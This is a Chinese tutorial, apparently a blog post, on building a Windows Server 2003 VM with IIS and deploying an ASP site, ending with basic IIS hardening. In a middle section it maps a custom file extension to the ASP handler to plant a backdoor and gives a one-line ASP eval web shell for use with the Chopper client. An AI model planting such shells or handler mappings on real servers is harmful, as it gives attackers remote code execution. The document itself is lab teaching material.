搭建2003sever和网站以及使用

vm虚拟机搭建地址：

 小白简单式安装VM虚拟机_clear018的博客-CSDN博客https://blog.csdn.net/weixin_52657559/article/details/126147251?spm=1001.2014.3001.5502

2003sever镜像文件以及iis文件包，提取码： 74yg

2003sever镜像文件以及iis文件包百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固，支持教育网加速，支持手机端。注册使用百度网盘即可享受免费存储空间https://pan.baidu.com/s/1XweI40rKbjba8Eh66wwrSQ下载完成后进行分开解压，然后执行创建虚拟机，选择典型

安装2003sever

第一步选择镜像文件：

 第二步：输入密钥和今后使用的密码

第三步：储存路径

 第四步：磁盘空间大小依照个人而定，然后完成（建议不要太小）

 

 第五步：有蓝屏别着急，等就完事了

 点击完成

 如果是VM虚拟机安装会安装一个小插件将页面填充满，自动进行重启

第六步：进行添加服务器

 第七步：进行勾选

第八步：选择应用程序服务器，点击下一步 第九步：两个都勾选，然后一直点击下一步

 直到来到这个界面，点击确认

 第九步：进行安装iis，如图

 

 点击确认

 第十步：选择路径，浏览找到放在桌面的文件打开到底（如果有弹出载入磁盘，再次确认即可）

 

 至此，安装2003sever和IIS就完成

 搭建网站

第一步：找到IIs管理器

 第二步：找到其中的一个默认站点

 第三步：可以查看站点储存位置

第四步：选择新建网站，点击下一步

 第五步：填写必要信息

 该地址ip和端口的配置让本机通过这个ip进行访问：IP：80

 这个路径是网站的一个存放路径（对于访问这个网站会解析到这个目录下）

利用ip访问和域名访问所访问的文件是不同的

域名访问他会指向某个对应目录，而ip访问会指向根目录

通过ip扫描目录可以获取更多信息，可以扫到其他域名的目录

 第六步：依次先勾选，点击确认，接着完成

 第四步：网站下载源码一个asp源码

我是在这个网站下载的 ：ASP源码下载_ASP网站源码_ASP源代码下载 - 源码之家 (tuohang.net)http://www.tuohang.net/yuanma/asp/

以asp企业建站系统|hycms华豫建站企业网站管理系统为例

下载后进行解压拷贝到里面

第五步：点击属性对其进行操作

 第八步：进行配置

第九步：来到调试页面对其进行勾选，选项中启用父路径，然后点击确认

 

第十步： 接着来到文档界面，进行添加文件index.php

 第十一步：来到服务拓展，进行允许

第十二步：点击浏览添加信任站点

 然后即可对进行网站连接

某某集团有限公司http://192.168.248.136/index.asp

域名（按照正常网站都有一个域名，IP地址不方便记忆）：

以下是域名配置方法（如需在外网访问需要申请）

高级>选取>编辑>输入想要的域名>确认>确认

（如需使用域名进行访问，需要修改本地host进行绑定，否则会访问到外网的域名网站）

修改本地host访问网站

解析后缀名

黄色框中设置了该网站可以进行解析的后缀名

 而红色框中则是添加新的该网站解析后缀名的方式，而该方式可以进行植入后门操作

 进入资源管理器

 新建txt文件写入asp后门更改为后缀名A.clear018文件

asp后门：<%eval request("A")%>

 菜刀尝试连接

IIS安全防护

身份验证和访问控制

自带启用匿名访问（有一个默认的匿名用户和密码）

 

将其关闭后访问该网站需要进行用户验证才能

此地方设置的用户权限为匿名用户的权限

该windows中拒绝大于允许，即使同时点击了允许和拒绝写入，他会优先拒绝写入

只有没有脚本文件的情况下才可以执行完全禁止，否则会影响网站使用 

ip地址限制和域名限制

ip限制

授权访问

让该ip地址能够进行访问（白名单）

除该名单外都不能访问 

拒绝访问

拒绝ip地址访问（黑名单）